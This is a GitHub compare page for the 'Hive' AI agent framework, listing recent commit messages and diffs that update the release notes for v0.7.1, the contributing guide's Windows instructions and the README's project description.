Compare commits

...

94 Commits

Author SHA1 Message Date
Richard Tang ef6efc2f55 chore: lint and dead code 2026-03-16 20:44:03 -07:00
Richard Tang 07e4b593dd fix: write config when change model with existing key 2026-03-16 20:23:20 -07:00
Timothy 497591bf3b Merge remote-tracking branch 'origin/feat/hive-llm-support' into staging 2026-03-16 19:49:21 -07:00
Timothy a2a3e334d6 Merge branch 'feature/node-node-comm-by-file' into staging 2026-03-16 19:48:45 -07:00
Timothy 1ccbfaf800 Merge branch 'feature/agent-skills' into staging 2026-03-16 19:48:36 -07:00
Timothy a9afa0555c chore: lint 2026-03-16 19:43:19 -07:00
Timothy 83b2183cf0 Merge branch 'feature/agent-skills' into feature/node-node-comm-by-file 2026-03-16 19:37:46 -07:00
bryan c2dea88398 refactor: active node always displaying 2026-03-16 19:30:44 -07:00
Timothy f49e7a760e fix: skill memory keys breaking unrestricted node permissions
Only extend read_keys/write_keys with skill memory keys when the
list was already non-empty (restricted). An empty list means "allow
all" — adding _-prefixed skill keys to an empty list accidentally
activated the permission check and blocked legitimate reads.
2026-03-16 19:27:48 -07:00
bryan dc95c88da0 chore: linter update 2026-03-16 19:22:51 -07:00
Timothy 6e0255ebec fix: lint E501 line-too-long and auto-format 2026-03-16 19:21:27 -07:00
bryan b51e688d1a feat: transition when loading 2026-03-16 19:17:16 -07:00
Timothy 379d3df46b feat: file path first data passing 2026-03-16 19:14:45 -07:00
bryan b77a3031fe refactor: update flowchart.json for templates 2026-03-16 17:27:28 -07:00
bryan c10eea04ec refactor: update graph node colors 2026-03-16 17:26:57 -07:00
Richard Tang 491a3f24da chore: Suppress noisy LiteLLM INFO logs 2026-03-16 16:45:23 -07:00
Timothy c7d70e0fb1 fix: skill injection, tool call timeout 2026-03-16 16:26:16 -07:00
Richard Tang d59f8e99cb chore: prompt users to go to discord for hive key 2026-03-16 16:09:47 -07:00
Richard Tang 0a91b49417 feat: add validation and config for baseURL 2026-03-16 16:07:13 -07:00
Timothy ced64541b9 Merge remote-tracking branch 'origin/main' into feature/agent-skills 2026-03-16 15:45:00 -07:00
Timothy 3c30cfe02b Merge branch 'chore/fix-workspace-queen-message' into feature/agent-skills 2026-03-16 14:52:03 -07:00
Timothy 0d6267bcf1 fix: add delegation notice 2026-03-16 14:49:33 -07:00
Richard Tang b47175d1df feat: add hive llm spec in the quickstart 2026-03-16 14:10:30 -07:00
Timothy 6f23a30eed fix: skill lifecycle to runtime 2026-03-16 13:46:49 -07:00
bryan 69f0ff7ac9 chore: linter update 2026-03-16 12:22:29 -07:00
bryan c3f13c50eb docs: remove stale iso 5807 references 2026-03-16 12:22:01 -07:00
bryan 5477408d40 chore: code quality updates 2026-03-16 12:18:46 -07:00
bryan 9fad385ddf fix: return staging phase for disk-loaded agents to prevent false planning loader 2026-03-16 12:14:20 -07:00
bryan cf44ee1d9b refactor: remove AgentGraph, extract shared types, add resizable graph panel 2026-03-16 12:13:56 -07:00
bryan 4ab33a39d6 chore: add generated flowchart.json for template agents 2026-03-16 12:13:29 -07:00
bryan ae19121802 test: add tests for flowchart_utils classification and remap 2026-03-16 12:13:16 -07:00
bryan b518525418 docs: update flowchart schema for 9 types with new color palette 2026-03-16 12:13:06 -07:00
bryan ac3fe38b33 refactor: remove dead shape cases and update imports 2026-03-16 12:12:50 -07:00
bryan 3c6a30fcae refactor: trim queen prompt to 9 flowchart types with dark theme colors 2026-03-16 12:12:35 -07:00
bryan 2ced873fb5 refactor: extract flowchart utils into dedicated module with fallback generation 2026-03-16 12:12:17 -07:00
Timothy @aden ab995d8b96 Merge pull request #6530 from aden-hive/chore/fix-workspace-queen-message
fix(micro-fix): queen message display
2026-03-16 10:52:57 -07:00
Timothy c2e560fc07 fix: queen message display 2026-03-16 10:30:05 -07:00
Timothy 19f7ae862e fix: skill loading log 2026-03-16 10:14:33 -07:00
Timothy 5e9f74744a fix: google sheet tools account param 2026-03-16 10:14:05 -07:00
Timothy 7787179a5a Merge branch 'main' into feature/agent-skills 2026-03-16 09:14:29 -07:00
Timothy @aden b63205b91a Merge pull request #6010 from Antiarin/feat/notion-tool-docs-and-improvements
feat: add Notion tool README, improve tool logic, and expand test coverage
2026-03-16 08:36:11 -07:00
Timothy @aden 347bccb9ee Merge branch 'main' into feat/notion-tool-docs-and-improvements 2026-03-16 08:10:43 -07:00
Timothy @aden 9d83f0298f Merge pull request #6385 from Waryjustice/fix/google-sheets-credentials-orphan
fix: make state.json progress writes atomic in GraphExecutor
2026-03-16 07:25:13 -07:00
Hundao 7f7e8b4dff docs: update Windows guidance to reflect native support (#6519)
quickstart.ps1 and hive.ps1 provide full native Windows support.
Update README, CONTRIBUTING, and environment-setup docs to stop
recommending WSL as the primary path. Also add Windows alternatives
for make check/test commands in CONTRIBUTING.md.

Fixes #3835
Fixes #3839
2026-03-16 15:52:42 +08:00
Sundaram Kumar Jha f48a7380f5 Add command sanitizer module and enhance command validation (#6217)
* feat(tools): add command sanitizer module with blocklists for shell injection prevention

* fix(tools): validate commands in execute_command_tool before execution

* fix(tools): validate commands in coder_tools_server run_command before execution

* test(tools): add 109 tests for command sanitizer covering safe, blocked, and edge cases

* fix(tools): normalize executable sanitizer matching

\) usage with explicit .exe suffix normalization in sanitizer paths to satisfy Ruff B005 while preserving blocking behavior for executable names.

Also apply the same normalization in coder_tools_server fallback sanitizer and clean a test-file formatting lint issue.

* fix(tools): harden command sanitizer handling

Normalize executable path matching, tighten python -c detection, and remove the duplicated coder_tools_server fallback by importing the shared sanitizer reliably.

Document the shell=True limitation in the command runners and add regression tests for absolute executable paths plus quoted python -c forms.
2026-03-16 14:46:53 +08:00
Gaurav Singh 3c7f129d86 fix(executor): enforce branch timeout and memory conflict strategy in parallel execution (#6504)
ParallelExecutionConfig.branch_timeout_seconds and memory_conflict_strategy
were declared but never read by any code. This caused branches to run
indefinitely and memory conflicts to go undetected.

Changes:
- Wrap parallel branch tasks with asyncio.wait_for() using configured timeout
- Switch asyncio.gather to return_exceptions=True so one timeout doesn't cancel siblings
- Handle asyncio.TimeoutError in result processing loop
- Implement last_wins/first_wins/error memory conflict strategies
- Track which branch wrote which key during fan-out for conflict detection
- Add 6 new tests covering timeout and conflict scenarios

Closes #5706
2026-03-16 14:31:09 +08:00
RichardTang-Aden 4533b27aa1 Merge pull request #6249 from aden-hive/fix/episodic-memory-access
fix: deduplicate queen memory tools into shared list
2026-03-15 20:26:29 -07:00
Richard Tang 3adf268c29 chore: ruff lint 2026-03-15 20:25:21 -07:00
Richard Tang ac8579900f Merge remote-tracking branch 'origin/main' into fix/episodic-memory-access 2026-03-15 20:23:13 -07:00
Richard Tang abbaaa68f3 Merge remote-tracking branch 'origin/main' 2026-03-15 20:19:32 -07:00
Richard Tang 11089093ef chore: remove deprecated step in quickstart 2026-03-15 20:05:23 -07:00
RichardTang-Aden 99b7cb07d5 Merge pull request #6300 from Nupreeth/docs/notion-tool-readme
docs(notion): add Notion tool README
2026-03-15 20:03:17 -07:00
RichardTang-Aden 70d61ae67a Merge pull request #6389 from saschabuehrle/micro-fix/issue-6015-step-numbering
micro-fix: remove vestigial duplicate Step 3 header in quickstart.sh
2026-03-15 20:01:36 -07:00
Richard Tang dd054815a3 docs: update product image 2026-03-15 19:56:17 -07:00
Timothy 8e5eaae9dd chore(micro-fix): windows string ops compatibility fix 2026-03-15 17:05:41 -07:00
Hundao 2d0128eb5c fix: declare croniter dependency and fail loudly on missing import (#6405)
croniter is used for cron-based timer entry points but was never
declared in pyproject.toml. A fresh install would silently skip
all cron triggers. Add croniter>=1.4.0 to dependencies and raise
RuntimeError instead of silently continuing on ImportError.

Fixes #5353
2026-03-15 18:29:05 +08:00
Milton Adina 06f1d4dcef docs: add Windows quickstart.ps1 instructions to getting-started.md (#5668)
- Add Windows (PowerShell) section alongside Linux/macOS
- Reference .\quickstart.ps1 for native Windows users
- Add Set-ExecutionPolicy note for script execution
- Link to environment-setup.md for WSL alternatives
2026-03-15 18:05:39 +08:00
Gowtham Tadikamalla 0e7b11b5b2 fix(llm): warn when litellm monkey-patches fail to apply due to ImportError (#5757)
Closes #5753

_patch_litellm_anthropic_oauth and _patch_litellm_metadata_nonetype
silently return when litellm internal modules change. This adds
logger.warning() calls so operators are alerted when patches cannot be
applied, instead of encountering cryptic 401 or TypeError at runtime.

Co-authored-by: GowthamT-1610 <gowthamt@umd.edu>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-15 17:59:36 +08:00
kalp patel 291b78f934 fix: prune ~/.hive/failed_requests/ to prevent unbounded disk growth (#5725)
Add MAX_FAILED_REQUEST_DUMPS = 50 cap and _prune_failed_request_dumps()
helper. After each _dump_failed_request() call the oldest files beyond
the cap are deleted so the directory never grows without bound.

Fixes #5696
2026-03-15 17:33:46 +08:00
Vaibhav Kumar e196a03972 Fix LLMJudge OpenAI fallback to use LiteLLM provider (#5674) 2026-03-15 17:22:37 +08:00
Ishan Chaurasia a0abe2685d fix: preserve custom session ids in runtime logs (#6241)
* fix: preserve custom session ids in runtime logs

Treat any execution stored under sessions/<id> as a session-backed run so custom IDs stay visible in worker-session browsing and unified log APIs. Add regression coverage for custom IDs across executor path selection, log directory creation, and API listing.

Made-with: Cursor

* fix: ignore stray session directories in listing

Keep the session_ prefix as the fast path for worker session discovery, but allow custom IDs when a backing state.json exists. This avoids ghost directories in the UI while preserving the custom session ID support from the original fix.

Made-with: Cursor
2026-03-15 16:08:54 +08:00
SRI LIKHITA ADRU e8f642c8b6 fix(credentials): aden_api_key delete returns 404 when not found, san… (#6340)
* fix(credentials): aden_api_key delete returns 404 when not found, sanitize 500 errors

* style: restore warning log for unexpected delete errors

---------

Co-authored-by: hundao <alchemy_wimp@hotmail.com>
2026-03-15 15:56:32 +08:00
Abhilash Puli 6260f628eb feat(tools): add HuggingFace inference, embedding, and endpoint tools (#6132)
* feat(tools): add HuggingFace inference, embedding, and endpoint tools

* fix: resolve ruff E501 lint issues

* style: fix formatting and restore Hub API error message

* style: format test file

---------

Co-authored-by: hundao <alchemy_wimp@hotmail.com>
2026-03-15 15:44:18 +08:00
Sundaram Kumar Jha 4a4f17ed40 fix quickstart guide for windows (#6264)
* fix(windows): verify uv is runnable before launch

* fix(windows): use validated uv path for kimi health check

* fix(windows): dedupe uv discovery and keep quickstart scoped

* chore: refresh uv lockfile
2026-03-15 15:19:15 +08:00
Fernando Mano 36dcf2025b Feature: #5871 - Improve developer agent logging: simplify terminal output (#6388) 2026-03-15 15:13:22 +08:00
Aryan Nandanwar 85c70c94e6 fix: queen bee multiple response error resolved (#5962)
* fix: queen bee multiple response error resolved

* fix: queen bee multiple response error resolved updates

* fix: added chatmsg.phas and reconsileoptimizeuser

* fix:cleaned up blank lines

* style: fix formatting in workspace.tsx

---------

Co-authored-by: hundao <alchemy_wimp@hotmail.com>
2026-03-15 15:07:24 +08:00
saschabuehrle 336e82ba22 micro-fix: remove vestigial duplicate Step 3 header in quickstart.sh (fixes #6015) 2026-03-14 18:07:59 +01:00
Waryjustice f2ddd1051d fix: make state.json progress writes atomic
Use atomic_write for GraphExecutor._write_progress and log persistence failures instead of silently swallowing exceptions. Add regression tests for atomic write usage and warning logs on write failure.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-03-14 18:52:25 +05:30
Aaryann Chandola 2dd60c8d52 Merge branch 'aden-hive:main' into feat/notion-tool-docs-and-improvements 2026-03-14 10:58:01 +05:30
Richard Tang ff01c1fd99 chore: release v0.7.1 — Chrome-native GCU, browser isolation, dummy agent tests
Release / Create Release (push) Waiting to run
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-13 20:39:46 -07:00
RichardTang-Aden 421b25fdb7 Merge pull request #6313 from prasoonmhwr/bugFix/add_tab_ui
bugFix: micro-fix add tab UI
2026-03-13 20:29:30 -07:00
Richard Tang 795c3c33e2 docs: readme update 2026-03-13 20:26:44 -07:00
RichardTang-Aden 97821f4d80 Merge pull request #6346 from aden-hive/fix/session-resume-new-agent
fix: save json path for the new agent update meta.json when loaded worker
2026-03-13 20:19:48 -07:00
RichardTang-Aden 505e1e30fd Merge branch 'main' into fix/session-resume-new-agent 2026-03-13 20:19:36 -07:00
Timothy 3fb2b285fb chore: add star history widget 2026-03-13 20:17:35 -07:00
RichardTang-Aden a76109840c Merge pull request #6345 from aden-hive/feat/gcu-updates
feat: GCU browser cleanup, draft loading state, and inner_turn message fix
2026-03-13 20:16:38 -07:00
Timothy 1db8484402 Merge branch 'main' into feature/agent-skills 2026-03-13 20:05:47 -07:00
RichardTang-Aden 39212350ba Merge pull request #6342 from aden-hive/ci/level-2-dummy-agent-testing
Add Level 2 dummy agent end-to-end tests
2026-03-13 19:42:34 -07:00
bryan 7ede3ba171 feat: queen upsert fix 2026-03-13 19:34:26 -07:00
Timothy cdaec8a837 feat: agent skills 2026-03-13 18:56:34 -07:00
bryan 635d2976f4 feat: show loading spinner in draft panel during planning phase 2026-03-13 16:40:33 -07:00
bryan 4e1525880d feat: clean up browser profile after top-level GCU node execution 2026-03-13 16:40:20 -07:00
Richard Tang 20427e213a fix: update meta.json when loaded worker 2026-03-13 13:52:15 -07:00
Prasoon Mahawar 094ba89f19 Merge branch 'main' of https://github.com/prasoonmhwr/hive into bugFix/add_tab_ui 2026-03-13 18:59:44 +05:30
Prasoon Mahawar 7008c9f310 bugFix: UI overflow issue when creating multiple agents – “Add tab” dropdown partially hidden 2026-03-13 18:58:38 +05:30
Prasoon Mahawar 94d7cbacc2 Revert "bugFix: Clipboard write in SystemPromptTab lacks error handling and may show false Copied feedback"
This reverts commit bddc2b413a.
2026-03-13 18:55:52 +05:30
Prasoon Mahawar bddc2b413a bugFix: Clipboard write in SystemPromptTab lacks error handling and may show false Copied feedback 2026-03-13 18:23:36 +05:30
Nupreeth 48c8fb7fff docs(notion): add Notion tool README 2026-03-13 12:03:48 +05:30
Timothy bc3c5a5899 fix: allow memory tool to be used in all phases 2026-03-11 20:10:24 -07:00
Aaryann Chandola e82133741c Merge branch 'aden-hive:main' into feat/notion-tool-docs-and-improvements 2026-03-11 04:23:20 +05:30
Antiarin 5076278dcb feat(notion): register Notion tool in verified and unverified registration functions
- Added the Notion tool registration to the _register_verified function.
- Removed the Notion tool registration from the _register_unverified function to ensure proper handling.
2026-03-11 02:45:51 +05:30
Antiarin 2398e04e11 docs(notion): add README for Notion tool with setup instructions and usage examples
- Introduced a comprehensive README.md for the Notion tool.
- Included setup instructions for the Notion API token and credential store configuration.
- Documented available tools and their functionalities.
- Provided usage examples for searching, creating, updating, and managing pages and databases.
2026-03-11 02:45:41 +05:30
Antiarin d00f321627 test(notion): add comprehensive tests for error handling and credential store in Notion tool
- Implemented tests for HTTP error codes, timeouts, and generic exceptions in _request.
- Added tests to verify the use of credential store when provided.
- Enhanced tests for notion_search to include filter types and page size clamping.
- Updated test assertions for successful responses from notion_get_page.
2026-03-11 02:45:30 +05:30
Antiarin e76b6cb575 feat(notion): enhance Notion tool functionality with new block types and improved page creation
- Added BlockType enum for various Notion block types.
- Updated notion_create_page to allow specifying parent_page_id and title_property.
- Enhanced notion_query_database to support sorting and pagination.
- Introduced notion_create_database for creating databases under a parent page.
- Improved error handling for required parameters in page and database creation.
2026-03-11 02:45:12 +05:30
103 changed files with 9779 additions and 6952 deletions
+150 -27
View File
@@ -1,17 +1,149 @@
# Release Notes
## v0.7.1
**Release Date:** March 13, 2026
**Tag:** v0.7.1
### Chrome-Native Browser Control
v0.7.1 replaces Playwright with direct Chrome DevTools Protocol (CDP) integration. The GCU now launches the user's system Chrome via `open -n` on macOS, connects over CDP, and manages browser lifecycle end-to-end -- no extra browser binary required.
---
### Highlights
#### System Chrome via CDP
The entire GCU browser stack has been rewritten:
- **Chrome finder & launcher** -- New `chrome_finder.py` discovers installed Chrome and `chrome_launcher.py` manages process lifecycle with `--remote-debugging-port`
- **Coexist with user's browser** -- `open -n` on macOS launches a separate Chrome instance so the user's tabs stay untouched
- **Dynamic viewport sizing** -- Viewport auto-sizes to the available display area, suppressing Chrome warning bars
- **Orphan cleanup** -- Chrome processes are killed on GCU server shutdown to prevent leaks
- **`--no-startup-window`** -- Chrome launches headlessly by default until a page is needed
#### Per-Subagent Browser Isolation
Each GCU subagent gets its own Chrome user-data directory, preventing cookie/session cross-contamination:
- Unique browser profiles injected per subagent
- Profiles cleaned up after top-level GCU node execution
- Tab origin and age metadata tracked per subagent
#### Dummy Agent Testing Framework
A comprehensive test suite for validating agent graph patterns without LLM calls:
- 8 test modules covering echo, pipeline, branch, parallel merge, retry, feedback loop, worker, and GCU subagent patterns
- Shared fixtures and a `run_all.py` runner for CI integration
- Subagent lifecycle tests
---
### What's New
#### GCU Browser
- **Switch from Playwright to system Chrome via CDP** -- Direct CDP connection replaces Playwright dependency. (@bryanadenhq)
- **Chrome finder and launcher modules** -- `chrome_finder.py` and `chrome_launcher.py` for cross-platform Chrome discovery and process management. (@bryanadenhq)
- **Dynamic viewport sizing** -- Auto-size viewport and suppress Chrome warning bar. (@bryanadenhq)
- **Per-subagent browser profile isolation** -- Unique user-data directories per subagent with cleanup. (@bryanadenhq)
- **Tab origin/age metadata** -- Track which subagent opened each tab and when. (@bryanadenhq)
- **`browser_close_all` tool** -- Bulk tab cleanup for agents managing many pages. (@bryanadenhq)
- **Auto-track popup pages** -- Popups are automatically captured and tracked. (@bryanadenhq)
- **Auto-snapshot from browser interactions** -- Browser interaction tools return screenshots automatically. (@bryanadenhq)
- **Kill orphaned Chrome processes** -- GCU server shutdown cleans up lingering Chrome instances. (@bryanadenhq)
- **`--no-startup-window` Chrome flag** -- Prevent empty window on launch. (@bryanadenhq)
- **Launch Chrome via `open -n` on macOS** -- Coexist with the user's running browser. (@bryanadenhq)
#### Framework & Runtime
- **Session resume fix for new agents** -- Correctly resume sessions when a new agent is loaded. (@bryanadenhq)
- **Queen upsert fix** -- Prevent duplicate queen entries on session restore. (@bryanadenhq)
- **Anchor worker monitoring to queen's session ID on cold-restore** -- Worker monitors reconnect to the correct queen after restart. (@bryanadenhq)
- **Update meta.json when loading workers** -- Worker metadata stays in sync with runtime state. (@RichardTang-Aden)
- **Generate worker MCP file correctly** -- Fix MCP config generation for spawned workers. (@RichardTang-Aden)
- **Share event bus so tool events are visible to parent** -- Tool execution events propagate up to parent graphs. (@bryanadenhq)
- **Subagent activity tracking in queen status** -- Queen instructions include live subagent status. (@bryanadenhq)
- **GCU system prompt updates** -- Auto-snapshots, batching, popup tracking, and close_all guidance. (@bryanadenhq)
#### Frontend
- **Loading spinner in draft panel** -- Shows spinner during planning phase instead of blank panel. (@bryanadenhq)
- **Fix credential modal errors** -- Modal no longer eats errors; banner stays visible. (@bryanadenhq)
- **Fix credentials_required loop** -- Stop clearing the flag on modal close to prevent infinite re-prompting. (@bryanadenhq)
- **Fix "Add tab" dropdown overflow** -- Dropdown no longer hidden when many agents are open. (@prasoonmhwr)
#### Testing
- **Dummy agent test framework** -- 8 test modules (echo, pipeline, branch, parallel merge, retry, feedback loop, worker, GCU subagent) with shared fixtures and CI runner. (@bryanadenhq)
- **Subagent lifecycle tests** -- Validate subagent spawn and completion flows. (@bryanadenhq)
#### Documentation & Infrastructure
- **MCP integration PRD** -- Product requirements for MCP server registry. (@TimothyZhang7)
- **Skills registry PRD** -- Product requirements for skill registry system. (@bryanadenhq)
- **Bounty program updates** -- Standard bounty issue template and updated contributor guide. (@bryanadenhq)
- **Windows quickstart** -- Add default context limit for PowerShell setup. (@bryanadenhq)
- **Remove deprecated files** -- Clean up `setup_mcp.py`, `verify_mcp.py`, `antigravity-setup.md`, and `setup-antigravity-mcp.sh`. (@bryanadenhq)
---
### Bug Fixes
- Fix credential modal eating errors and banner staying open
- Stop clearing `credentials_required` on modal close to prevent infinite loop
- Share event bus so tool events are visible to parent graph
- Use lazy %-formatting in subagent completion log to avoid f-string in logger
- Anchor worker monitoring to queen's session ID on cold-restore
- Update meta.json when loading workers
- Generate worker MCP file correctly
- Fix "Add tab" dropdown partially hidden when creating multiple agents
---
### Community Contributors
- **Prasoon Mahawar** (@prasoonmhwr) -- Fix UI overflow on agent tab dropdown
- **Richard Tang** (@RichardTang-Aden) -- Worker MCP generation and meta.json fixes
---
### Upgrading
```bash
git pull origin main
uv sync
```
The Playwright dependency is no longer required for GCU browser operations. Chrome must be installed on the host system.
---
## v0.7.0
**Release Date:** March 5, 2026
**Tag:** v0.7.0
Session management refactor release.
---
## v0.5.1
**Release Date:** February 18, 2026
**Tag:** v0.5.1
## The Hive Gets a Brain
### The Hive Gets a Brain
v0.5.1 is our most ambitious release yet. Hive agents can now **build other agents** -- the new Hive Coder meta-agent writes, tests, and fixes agent packages from natural language. The runtime grows multi-graph support so one session can orchestrate multiple agents simultaneously. The TUI gets a complete overhaul with an in-app agent picker, live streaming, and seamless escalation to the Coder. And we're now provider-agnostic: Claude Code subscriptions, OpenAI-compatible endpoints, and any LiteLLM-supported model work out of the box.
---
## Highlights
### Highlights
### Hive Coder -- The Agent That Builds Agents
#### Hive Coder -- The Agent That Builds Agents
A native meta-agent that lives inside the framework at `core/framework/agents/hive_coder/`. Give it a natural-language specification and it produces a complete agent package -- goal definition, node prompts, edge routing, MCP tool wiring, tests, and all boilerplate files.
@@ -30,7 +162,7 @@ The Coder ships with:
- **Coder Tools MCP server** -- file I/O, fuzzy-match editing, git snapshots, and sandboxed shell execution (`tools/coder_tools_server.py`)
- **Test generation** -- structural tests for forever-alive agents that don't hang on `runner.run()`
### Multi-Graph Agent Runtime
#### Multi-Graph Agent Runtime
`AgentRuntime` now supports loading, managing, and switching between multiple agent graphs within a single session. Six new lifecycle tools give agents (and the TUI) full control:
@@ -44,7 +176,7 @@ await runtime.add_graph("exports/deep_research_agent")
The Hive Coder uses multi-graph internally -- when you escalate from a worker agent, the Coder loads as a separate graph while the worker stays alive in the background.
### TUI Revamp
#### TUI Revamp
The Terminal UI gets a ground-up rebuild with five major additions:
@@ -54,7 +186,7 @@ The Terminal UI gets a ground-up rebuild with five major additions:
- **PDF attachments** -- `/attach` and `/detach` commands with native OS file dialog (macOS, Linux, Windows)
- **Multi-graph commands** -- `/graphs`, `/graph <id>`, `/load <path>`, `/unload <id>` for managing agent graphs in-session
### Provider-Agnostic LLM Support
#### Provider-Agnostic LLM Support
Hive is no longer Anthropic-only. v0.5.1 adds first-class support for:
@@ -66,9 +198,9 @@ The quickstart script auto-detects Claude Code subscriptions and ZAI Code instal
---
## What's New
### What's New
### Architecture & Runtime
#### Architecture & Runtime
- **Hive Coder meta-agent** -- Natural-language agent builder with reference docs, guardian watchdog, and `hive code` CLI command. (@TimothyZhang7)
- **Multi-graph agent sessions** -- `add_graph`/`remove_graph` on AgentRuntime with 6 lifecycle tools (`load_agent`, `unload_agent`, `start_agent`, `restart_agent`, `list_agents`, `get_user_presence`). (@TimothyZhang7)
@@ -79,7 +211,7 @@ The quickstart script auto-detects Claude Code subscriptions and ZAI Code instal
- **Pre-start confirmation prompt** -- Interactive prompt before agent execution allowing credential updates or abort. (@RichardTang-Aden)
- **Event bus multi-graph support** -- `graph_id` on events, `filter_graph` on subscriptions, `ESCALATION_REQUESTED` event type, `exclude_own_graph` filter. (@TimothyZhang7)
### TUI Improvements
#### TUI Improvements
- **In-app agent picker** (Ctrl+A) -- Tabbed modal for browsing agents with metadata badges (nodes, tools, sessions, tags). (@TimothyZhang7)
- **Runtime-optional TUI startup** -- Launches without a pre-loaded agent, shows agent picker on startup. (@TimothyZhang7)
@@ -89,7 +221,7 @@ The quickstart script auto-detects Claude Code subscriptions and ZAI Code instal
- **Multi-graph TUI commands** -- `/graphs`, `/graph <id>`, `/load <path>`, `/unload <id>`. (@TimothyZhang7)
- **Agent Guardian watchdog** -- Event-driven monitor that catches secondary agent failures and triggers automatic remediation, with `--no-guardian` CLI flag. (@TimothyZhang7)
### New Tool Integrations
#### New Tool Integrations
| Tool | Description | Contributor |
| ---------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------ |
@@ -99,7 +231,7 @@ The quickstart script auto-detects Claude Code subscriptions and ZAI Code instal
| **Google Docs** | Document creation, reading, and editing with OAuth credential support | @haliaeetusvocifer |
| **Gmail enhancements** | Expanded mail operations for inbox management | @bryanadenhq |
### Infrastructure
#### Infrastructure
- **Default node type → `event_loop`** -- `NodeSpec.node_type` defaults to `"event_loop"` instead of `"llm_tool_use"`. (@TimothyZhang7)
- **Default `max_node_visits` → 0 (unlimited)** -- Nodes default to unlimited visits, reducing friction for feedback loops and forever-alive agents. (@TimothyZhang7)
@@ -112,7 +244,7 @@ The quickstart script auto-detects Claude Code subscriptions and ZAI Code instal
---
## Bug Fixes
### Bug Fixes
- Flush WIP accumulator outputs on cancel/failure so edge conditions see correct values on resume
- Stall detection state preserved across resume (no more resets on checkpoint restore)
@@ -125,13 +257,13 @@ The quickstart script auto-detects Claude Code subscriptions and ZAI Code instal
- Fix email agent version conflicts (@RichardTang-Aden)
- Fix coder tool timeouts (120s for tests, 300s cap for commands)
## Documentation
### Documentation
- Clarify installation and prevent root pip install misuse (@paarths-collab)
---
## Agent Updates
### Agent Updates
- **Email Inbox Management** -- Consolidate `gmail_inbox_guardian` and `inbox_management` into a single unified agent with updated prompts and config. (@RichardTang-Aden, @bryanadenhq)
- **Job Hunter** -- Updated node prompts, config, and agent metadata; added PDF resume selection. (@bryanadenhq)
@@ -141,7 +273,7 @@ The quickstart script auto-detects Claude Code subscriptions and ZAI Code instal
---
## Breaking Changes
### Breaking Changes
- **Deprecated node types raise `RuntimeError`** -- `llm_tool_use`, `llm_generate`, `function`, `router`, `human_input` now fail instead of warning. Migrate to `event_loop`.
- **`NodeSpec.node_type` defaults to `"event_loop"`** (was `"llm_tool_use"`)
@@ -150,7 +282,7 @@ The quickstart script auto-detects Claude Code subscriptions and ZAI Code instal
---
## Community Contributors
### Community Contributors
A huge thank you to everyone who contributed to this release:
@@ -165,14 +297,14 @@ A huge thank you to everyone who contributed to this release:
---
## Upgrading
### Upgrading
```bash
git pull origin main
uv sync
```
### Migration Guide
#### Migration Guide
If your agents use deprecated node types, update them:
@@ -196,12 +328,3 @@ hive code
# Or from TUI -- press Ctrl+E to escalate
hive tui
```
---
## What's Next
- **Agent-to-agent communication** -- one agent's output triggers another agent's entry point
- **Cost visibility** -- detailed runtime log of LLM costs per node and per session
- **Persistent webhook subscriptions** -- survive agent restarts without re-registering
- **Remote agent deployment** -- run agents as long-lived services with HTTP APIs
+8 -3
View File
@@ -121,9 +121,15 @@ uv sync
6. Make your changes
7. Run checks and tests:
```bash
make check # Lint and format checks (ruff check + ruff format --check)
make check # Lint and format checks
make test # Core tests
```
On Windows (no make), run directly:
```powershell
uv run ruff check core/ tools/
uv run ruff format --check core/ tools/
uv run pytest core/tests/
```
8. Commit your changes following our commit conventions
9. Push to your fork and submit a Pull Request
@@ -222,8 +228,7 @@ else: # linux
- **Node.js 18+** (optional, for frontend development)
> **Windows Users:**
> If you are on native Windows, it is recommended to use **WSL (Windows Subsystem for Linux)**.
> Alternatively, make sure to run PowerShell or Git Bash with Python 3.11+ installed, and disable "App Execution Aliases" in Windows settings.
> Native Windows is supported. Use `.\quickstart.ps1` for setup and `.\hive.ps1` to run (PowerShell 5.1+). Disable "App Execution Aliases" in Windows settings to avoid Python path conflicts. WSL is also an option but not required.
> **Tip:** Installing Claude Code skills is optional for running existing agents, but required if you plan to **build new agents**.
+16 -13
View File
@@ -27,7 +27,7 @@
<img src="https://img.shields.io/badge/Multi--Agent-Systems-blue?style=flat-square" alt="Multi-Agent" />
<img src="https://img.shields.io/badge/Headless-Development-purple?style=flat-square" alt="Headless" />
<img src="https://img.shields.io/badge/Human--in--the--Loop-orange?style=flat-square" alt="HITL" />
<img src="https://img.shields.io/badge/Production--Ready-red?style=flat-square" alt="Production" />
<img src="https://img.shields.io/badge/Browser-Use-red?style=flat-square" alt="Browser Use" />
</p>
<p align="center">
<img src="https://img.shields.io/badge/OpenAI-supported-412991?style=flat-square&logo=openai" alt="OpenAI" />
@@ -37,7 +37,7 @@
## Overview
Build autonomous, reliable, self-improving AI agents without hardcoding workflows. Define your goal through conversation with hive coding agent(queen), and the framework generates a node graph with dynamically created connection code. When things break, the framework captures failure data, evolves the agent through the coding agent, and redeploys. Built-in human-in-the-loop nodes, credential management, and real-time monitoring give you control without sacrificing adaptability.
Generate a swarm of worker agents with a coding agent(queen) that control them. Define your goal through conversation with hive queen, and the framework generates a node graph with dynamically created connection code. When things break, the framework captures failure data, evolves the agent through the coding agent, and redeploys. Built-in human-in-the-loop nodes, browser use, credential management, and real-time monitoring give you control without sacrificing adaptability.
Visit [adenhq.com](https://adenhq.com) for complete documentation, examples, and guides.
@@ -45,7 +45,7 @@ Visit [adenhq.com](https://adenhq.com) for complete documentation, examples, and
## Who Is Hive For?
Hive is designed for developers and teams who want to build **production-grade AI agents** without manually wiring complex workflows.
Hive is designed for developers and teams who want to build many **autonomous AI agents** fast without manually wiring complex workflows.
Hive is a good fit if you:
@@ -84,7 +84,7 @@ Use Hive when you need:
- An LLM provider that powers the agents
- **ripgrep (optional, recommended on Windows):** The `search_files` tool uses ripgrep for faster file search. If not installed, a Python fallback is used. On Windows: `winget install BurntSushi.ripgrep` or `scoop install ripgrep`
> **Note for Windows Users:** It is strongly recommended to use **WSL (Windows Subsystem for Linux)** or **Git Bash** to run this framework. Some core automation scripts may not execute correctly in standard Command Prompt or PowerShell.
> **Windows Users:** Native Windows is supported via `quickstart.ps1` and `hive.ps1`. Run these in PowerShell 5.1+. WSL is also an option but not required.
### Installation
@@ -115,11 +115,9 @@ This sets up:
> **Tip:** To reopen the dashboard later, run `hive open` from the project directory.
